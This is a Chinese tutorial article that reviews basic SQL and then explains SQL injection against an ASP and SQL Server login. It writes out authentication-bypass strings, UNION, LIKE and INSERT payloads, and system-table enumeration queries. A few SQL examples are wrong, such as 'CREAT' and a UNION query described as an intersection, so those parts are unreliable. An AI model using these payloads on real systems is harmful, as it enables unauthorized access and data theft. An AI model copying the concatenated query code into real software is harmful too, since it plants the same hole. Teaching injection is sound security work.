SQL知识拓展--SQL注入

来源:互联网 发布:中国经济会崩溃吗 知乎 编辑:程序博客网 时间:2024/05/22 05:15
基础的SQL语言对于每个从事SQL开发的人员来说都是非常重要的,而SQL注入是从SQL应用衍生出来的一种漏洞或攻击方法。本文在回顾基础的SQL语言的基础上,介绍了SQL注入和如何使用SQL注入法进行网络攻击。


  网络的应用和普及产生了大量的数据信息,这些数据信息多被存在数据库中。与数据库交流主要是通过SQL语言,然而对它的不熟悉和使用的模糊限制了开发者的工作效率,更严重的是,这可能会导致系统的危机。SQL使用方便,应用广泛,并且主流的关系型数据库都支持SQL的执行。正是因为SQL的使用便捷和应用广泛导致了SQL注入一出世就造成了巨大的影响。任何允许执行人工输入SQL语句的地方,就存在SQL注入的危险。因此,深层理解SQL和SQL注入,掌握SQL注入的执行原理和方法是极为重要的。
   一、SQL纵览

   SQL(Structured Query Language)语言是一种结构化查询语言,它的功能不仅是查询,具体说,它是一种通用的、功能强的关系型数据库语言。SQL语言中完成核心功能的有以下9个关键词:SELECT(数据查询),CREAT、DROP、ALTER(数据定义),INSERT、UPDATE、DELETE(数据操纵), GRANT、REVOKE(数据控制)。

   1、数据定义部分

   (1)创建基本表:

   CREAT TABLE employee (Eno CHAR(6) NOT NULL UNIQUE,

   Ename CHAR(20) UNIQUE,

   E*** CHAR(2),

   Eage INT,

   Edept CHAR(10),

   Espe CHAR(20));

  该语句创建了一个名为employee的数据表,它共有六列,分别为字符型(长度为6,非空,唯一)的雇员号Eno,字符型(长度为20,唯一)的雇员姓名Ename,字符型(长度为2)的雇员性别,整型的雇员年龄,字符型(长度为10)的雇员部门,字符型(长度为20)的雇员特长。

   (2)删除基本表:
  
   DROP TABLE employee;

   删除表employee,数据也一并删除,一旦执行成功不可逆,因此使用该条语句时要格外注意,最好使用事务处理、事前备份和确认提醒等。

   (3)更改基本表:

   ALTER TABLE employee ADD Esalary CHAR(5);

   在雇员表中加入一列,字符型(长度为5)的雇员薪水

   ALTER TABLE employee DROP UNIQUE(Ename);

   去掉雇员表中雇员姓名列的唯一属性

   ALTER TABLE employee MODIFY E*** CHAR(1);

   把雇员表中的性别列改为一位字符型。

   2、数据查询部分

   数据查询部分是SQL语句中最灵活、功能最强的部分,对于查询语句的使用熟练程度和对查询结构的优化能力最能体现SQL编程人员的基本功。因此,该部分必须要给予足够的重视。现详述如下:

   (1)基本查询语句:

   SELECT Eno,Ename,E*** FROM employee;

   查询employee表中的Eno,Ename,E***三列

   SELECT * FROM employee;

   查询employee表中的所有列

   SELECT DISTINCT Eno FROM employee;

   查询employee表中的Eno列,并去除重复行

   (2)条件(WHERE)查询语句:

   查询条件的连接词如下NOT,=,〉,〈,〉=,〈=,!=,〈〉,!〉,!〈(比较);BETWEEN AND,NOT BETWEEN AND (确定范围);IN,NOT IN(确定集合);LIKE,NOT LIKE(字符匹配);IS NULL,IS NOT NULL(空值);AND,OR(多条件连接)


  1)比较

   SELECT Eno FROM employee WHERE Eage 〈=25;;

   列出雇员表中年龄小于25的雇员号

   2)确定范围

   SELECT Eno,Ename FROM employee

   WHERE Eage [NOT]BETWEEN 20 AND 30;;

   列出雇员表中年龄(不)在20到30的雇员号和姓名

   3)确定集合

   SELECT Eno,Ename FROM employee

   WHERE Edept [NOT]IN(′SD′,′HD′);;

   列出雇员表中(不)是软硬件开发部的雇员号和姓名

   4)字符匹配

   LIKE的用法如下:

   [NOT]LIKE ′〈匹配模式〉′[ESCAPE ′〈换码符〉′]

   通配符号有 % 和 _ 两种:

   % :匹配任意长度的字符串(长度可为0)。a%b 可与ab,adfb等匹配。

   _:匹配单个任意字符。a_b 可与a#b,a@b等匹配。

   如果有ESCAPE,则跟在换码符号后的%或_不再是通配符号,只是正常的%或_。

   例如:

   SELECT * FROM employee WHERE Ename LIKE ′刘%′;

   查找雇员表中姓刘雇员的信息

   SELECT * FROM employee WHERE Ename LIKE ′刘_ _′;

   查找雇员表中姓名为刘某(两个字)的雇员的信息(汉字占2个字符的位置)

   SELECT * FROM employee WHERE Espe LIKE ′DB/_%t_′ESCAPE ′/′;

   查找雇员表中特长项为DB_ 开始,倒数第二个字符为t的雇员信息

   5)空值

   SELECT * FROM employee WHERE Espe IS [NOT] NULL;

   查找雇员表中特长项(不)为空的雇员信息

   6)多条件连接

   SELECT Ename FROM employee WHERE Edept=′SD′AND Eage 〈= 30;

   列出雇员表中软件开发部30岁以下雇员的姓名

   (3)结果排序

   对查询的结果进行排序使用ORDER BY,ASC(默认)为升序,DESC为降序。

   SELECT * FROM employee ORDER BY Edept,Eage DESC;

   把所有雇员按部门升序,年龄降序排列(缺省是升序)

   (4)结果分组

   对查询结果的分组一般都要用到SQL的集函数,因此先介绍SQL的集函数。

   SQL语言中的集函数主要有COUNT(统计总数),SUM(求总和),AVG(求均值),MAX(最大值),MIN(最小值)。

   例如:

   SELECT MAX(Eage) FROM employee WHERE Edept=′SD′;

   列出软件开发部年纪最大雇员的姓名

   SELECT Edept FROM employee GROUP BY Edept HAVING Count(*)〉10 ;

   统计各部门的雇员数,只显示雇员数大于10的部门

   SELECT Edept,COUNT(Eno) FROM employee GROUP BY Edept ;

   统计各部门的雇员数,按部门分组列出各部门的雇员数

   (5)连接查询

   连接查询指的是查询涉及多个数据表,FROM后连接多个表的情况。假如我们要统计各个项目参加人的雇员号和姓名,涉及的表Eproject(雇员参加的项目)结构如下:

   Eproject ( Eno CHAR(6),Pno CHAR(6),TimeBgn TIME,

   TimeEnd TIME,Remark CHAR(50));

   相应的查询语句为:

   SELECT Eproject.Pno,employee.Eno,Ename,

   FROM employee, Eproject

   WHERE employee.Eno = Eproject.Eno

   ORDER BY Eproject.Pno ;

   列出参加各项目的雇员号和姓名,并按项目号升序排列。

   (6)集合查询

  集合查询指的是多个SELECT查询结果间进行的集合操作,主要有UNION(并操作)、INTERSECT(交操作)、MINUS(差操作)。其中标准 SQL中没有提供交操作和差操作,但它们可以使用联合查询实现。假如我们要查询硬件开发部年龄不大于25岁的雇员,可以用集合查询实现如下:

   SELECT * FROM employee WHERE Edept=′HD′

   UNION SELECT * FROM employee WHERE Eage 〈= 25;

   3、数据更新部分

   SQL中的数据更新语句有INSERT,UPDATE和DELETE三种,用法如下:

   (1)插入数据

   INSERT INTO employee

   VALUES (′13253′,′王二′,′男′,23,′SD′, ′DB_Project′);;

   向雇员表中插入一条完整的数据

   INSERT INTO employee (Eno ,Ename)

   VALUES (′13253′,′王二′);;

   向雇员表中插入一条数据,只包含雇员号和姓名,其它列为空值

   注意:以上情况,属性为非空的列一定不能为空值。

   (2)修改数据

   UPDATE employee SET Eage=24 WHERE Eno=′13253′;

   将雇员表中13253号雇员年龄改为24岁

   (3)删除数据

   DELETE FROM employee WHERE Eno=′13253′;

   将雇员表中13253号雇员信息删除
4、数据控制部分

   (1)用户授权

   SQL 的用户授权使用GRANT关键词,它的用法举例如下:

   GRANT SELECT ON TABLE employee TO usr1;;

   允许用户usr1查询表employee

   GRANT ALL PRIVILEGES ON TABLE employee TO usr2;;

   允许用户usr2对表employee的任何操作(查询,插入、更新、删除数据)

   (2)收回权限

   SQL 中收回用户权限使用REVOKE关键词,它的用法举例如下:

   REVOKE UPDATE(Eno) ON TABLE employee FROM usr3;;

   收回用户usr3更新表employee中Eno列的权力

   REVOKE INSERT ON TABLE employee FROM PUBLIC;;

   不允许所有用户在表employee中添加数据

   二、SQL注入(SQL INJECTION)简介

   自从SQL Injection被发现以来,人们通过大量的实验发现,它存在于任何允许执行SQL语句的地方。简单的说,SQL injection是一种源于SQL的漏洞,也可以说成是一种攻击方法,它利用程序对用户输入数据的检验不足或程序自身对变量处理不当,把想要执行的 SQL语句插入到实际的SQL语句中发送给服务器去执行,后果轻则导致敏感信息泄漏,重则使整个服务器受控。
   例如,某个登录系统(ASP+SQLServer)输入帐号和密码的SQL语句为:

   SELECT * FROM member WHERE UID =′ "& request("ID") &" ′

AND Passwd =′ "& request("Pwd") & " ′

   如果正常使用者的帐号user1,密码abcdefg12345,那么此时的SQL语句为:

SELECT * FROM member WHERE UID =′user1′ AND Passwd =′abcdefg12345′;;

   在这里举三个SQL Injection的实例简单说明一下这种漏洞的原理:

   1、帐号输入 user1′-- ,密码任意(如aaa),此时的SQL语句变为:

   SELECT * FROM member WHERE UID =′user1′--′ AND Passwd =′aaa′

   由于--之后的语句被忽略,AND字句被作为说明而失去了作用,用户user1就可以用任何密码登录系统。如果登录用户是系统管理员权限,后果就不堪设想了。

   2、帐号输入′OR 1=1--,密码任意(如aaa),此时的SQL语句变为:

   SELECT * FROM member WHERE UID =′′OR 1=1--′ AND Passwd =′aaa′

   由于AND字句被作为说明而失去了作用,where字句返回为真,这个SQL语句就失去了鉴别作用。

   3、帐号输入任意(如uuu) ,密码为aaa(任意)′OR 1=1--,此时的SQL语句变为:

   SELECT * FROM member WHERE UID =′uuu′AND Passwd =′aaa′OR 1=1 --

   由于--之后的语句被忽略,WHERE字句返回为真,该SQL语句就失去了鉴别作用。

   三、SQL注入纵览

  从最初的"1=1"型SQL注入,到现在的SQLServer存储过程和扩展存储过程注入,SQL注入迄今为止已经被发现数十种。总的来说,它的分类可以从SQL语言的自身进行,它可以分为授权旁路型、SELECT型、INSERT型、其它型(如SQLServer存储过程)。如前所述,SQL语言中的数据查询部分(SELECT语句)是SQL语句中最灵活、功能最强的部分,因此,该部分的SQL注入也种类繁多,主要有基本SELECT型、基本集合 (UNION)型、语法错误型列举、匹配(LIKE)型、--结尾型等。现对于各种SQL注入分述如下:
  
   1、授权旁路型

   这种类型的SQL注入是最简单、最易理解的一种SQL注入,它主要存在于表格式登录系统。除了简介中所列出的几种之外,还有一种更直接的SQL注入,登录帐号和密码都为 ′OR "= ′,此时SQL语句变为

   SELECT * FROM member WHERE UID =′′OR ′′=′′ AND Passwd =′′OR ′′=′′

   显然,该SQL语句失去了鉴别功能。

   2、SELECT型SQL注入

   (1)基本SELECT型

   基本SELECT型SQL注入分为直接型和引用型。直接型SQL注入指的是用户提交的数据直接被用在SQL查询中。如果在某个合法输入值后添加一个空格和OR,系统返回了一个错误,那么就可能存在直接型SQL注入。直接值的位置可能存在于WHERE子句中,如:
   SQLString=" SELECT * FROM member WHERE UID = "& intUID

   或者存在于某个SQL关键词中,如某个表名或列名:

   SQLString=" SELECT * FROM member ORDER BY " & strColumn

   而引用型的SQL注入指的是用户提交的数据被放在引号中提交。如:

   SQLString=" SELECT * FROM member WHERE UID =′"& strUID & "′"

   此时要注入的部分要以单引号开始,与之前的单引号匹配,结尾在WHERE子句后加单引号,与之后的单引号匹配。

   (2)基本集合(UNION)型

   基本集合型SQL注入是在WHERE子句中插入一个UNION SELECT语句,以达到执行注入部分的目的。例如目标SQL语句为:

   SQLString=" SELECT Name,Sex,Title FROM member WHERE UID =′"& strColumn & "′"

   使用的注入字串如下:

   ′UNION SELECT otherfield FROM othertable WHERE ′′= ′

   这样一来,提交的查询语句就成了:

   SELECT Name,Sex,Title FROM member WHERE UID =′′

   UNION SELECT otherfield FROM othertable WHERE ′′= ′′

  结果就有以下操作:数据库首先检索member表查找UID为空的行,由于不存在UID为空的行,所以没有返回记录。返回的记录存在于注入部分的查询。有时使用空值会不起作用,可能是表中空值被使用或被用于实现其他的功能。这种情况下,你唯一要做的就是构造一个决不会出现在表中的字串,只要它能使 UNION SELECT之前不返回记录。
   (3)语法错误型
 
   对于某些数据库而言,返回的错误信息中包含了语法错误的部分,因此,通过制造语法错误(错误注入),可以得到很多有价值的信息。

   构造的错误字符串有:′,错误值′,′错误值,′OR′,′OR,OR′,;等。

  (4)圆括号型

   如果返回的错误中包含圆括号,或者错误是丢失圆括号,那么就要在错误值和WHERE子句部分添加圆括号。例如目标SQL语句为
  
SQLStr=" SELECT Name,Sex,Title FROM member WHERE(UID =′"& strID & "′)"

   使用的注入字串就要变为:

   ′)UNION SELECT otherfield FROM othertable WHERE ( ′′= ′

   这样一来,提交的查询语句就成了:

   SELECT Name,Sex,Title FROM member WHERE(UID =′′)

   UNION SELECT otherfield FROM othertable WHERE ( ′′= ′′)

   由于不存在UID为空的行,所以第一部分没有返回记录,返回的记录存在于注入部分的查询。

   (5)LIKE型

   LIKE型的SQL注入也很常见。如果返回错误中含有%,_或者LIKE等字眼,说明该系统存在LIKE型注入漏洞,用户提交的数据会被送给LIKE子句去执行。例如目标SQL语句为
   SQLStr=" SELECT Name,Sex,Title FROM member WHERE Name LIKE′%"& strColumn & "%′"

   而使用的注入字串为:

   ′UNION SELECT otherfield FROM othertable WHERE ′%37′= ′

   得到提交的查询语句为:

   SELECT Name,Sex,Title FROM member WHERE Name LIKE′%′

   UNION SELECT otherfield FROM othertable WHERE ′%′= ′%′

   显然,第一部分返回为表member的所有记录,第二部分为用户想要得到的记录,最终得到就是用户想要的记录。

   (6)错误结尾

   有些时候,当尝试了许多注入方法后,返回依旧是错误。这说明目标SQL语句可能并不像所猜测的那样简单,它可能存在子查询或连接查询等复杂的情况。这时,对于SQLServer,由于;”之后的语句会被忽略,所以要在注入的SQL语句末尾,加上;;;- -”。
   (7)连接查询

   如果目标SQL语句为

   SQLStr=" SELECT Name,Sex,Title FROM member

   WHERE UID =′"& strID & "′AND Sex=′Female′"

   如果使用的注入字串为:

   ′UNION SELECT otherfield FROM othertable WHERE ′′= ′

   这样一来,提交的查询语句就成了:

   SELECT Name,Sex,Title FROM member WHERE UID =′′

   UNION SELECT otherfield FROM othertable WHERE ′′= ′′AND Sex=′Female′

   由于othertable中不一定存在名为Sex的列,所以可能会返回;Invalid column name Sex”的错误。对于SQLServer而言,在系统表sysobjects中存有库中所有表的列名,所以,使用SELECT name FROM sysobjects WHERE xtype=′U′可以返回库中所有用户定义表的表名。
   在这种情况下,构造的SQL注入语句要成为以下结构:

   SELECT name FROM syscolumns

   WHERE id=(SELECT id FROM sysobjects WHERE name=′TableName′)

   3、INSERT型SQL注入

   INSERT执行在数据库中增加列的功能,它用在用户注册,发表言论,网上购物等许多地方。由于它直接改变数据库的数据,所以使用INSERT型注入比 SELECT型更危险。对于攻击者而言,如果使用INSERT型注入的语句出现错误,可能因为在数据库中产生一串单引号而被检测到。所以,使用 INSERT型SQL注入要格外小心。

   例如目标SQL语句为(注册项为姓名,性别,邮箱)

   SQLStr="INSERT INTO TableName

   VALUES(′"& strName & "′,′"& strSex & "′,′"& strEmail & "′)"

   如下填表:

   姓名:′+ SELECT TOP 1 FieldName FROM TableName+′

   性别:Male

   邮箱:aaa@yahoo.com

   这样,提交的SQL语句为:

   INSERT INTO TableName VALUES

   (′′+ SELECT TOP 1 FieldName FROM TableName+′′,′Male′,′aaa@yahoo.com′)

   在返回的注册信息中,就可以找到表TableName中的FieldName的值。

   由于SQL语言的设计思想就是要使用灵活,所以各种各样的SQL注入方法也会层出不穷。但是总的来说,只要对SQL语言足够熟悉,并且时刻注意SQL注入的危险,至少已经向安全迈出了第一步。

 
原创粉丝点击